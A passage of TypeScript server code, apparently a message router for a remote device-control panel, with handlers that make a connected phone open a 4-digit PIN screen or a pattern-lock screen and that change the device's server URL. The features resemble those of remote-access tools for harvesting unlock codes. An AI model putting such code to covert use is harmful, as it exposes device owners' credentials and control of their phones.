this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送打开4位密码输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_FOUR_DIGIT_PIN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`)
|
||
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开4位密码输入界面命令已发送'
|
||
})
|
||
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`打开4位密码输入界面失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开4位密码输入界面失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔐 处理打开图形密码输入界面的请求
|
||
*/
|
||
private handleOpenPatternLock(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送打开图形密码输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_PATTERN_LOCK',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`)
|
||
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开图形密码输入界面命令已发送'
|
||
})
|
||
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`打开图形密码输入界面失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开图形密码输入界面失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理修改服务器地址请求
|
||
*/
|
||
private handleChangeServerUrl(clientId: string, deviceId: string, data: any): boolean {
|
||
try {
|
||
this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 验证服务器地址数据
|
||
if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') {
|
||
this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`)
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '服务器地址无效,应为非空字符串'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送修改服务器地址的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'CHANGE_SERVER_URL',
|
||
deviceId,
|
||
data: {
|
||
serverUrl: data.serverUrl.trim()
|
||
},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`)
|
||
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '命令已发送',
|
||
serverUrl: data.serverUrl
|
||
})
|
||
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`修改服务器地址失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '修改服务器地址失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
}
|
||
|
||
export default MessageRouter
|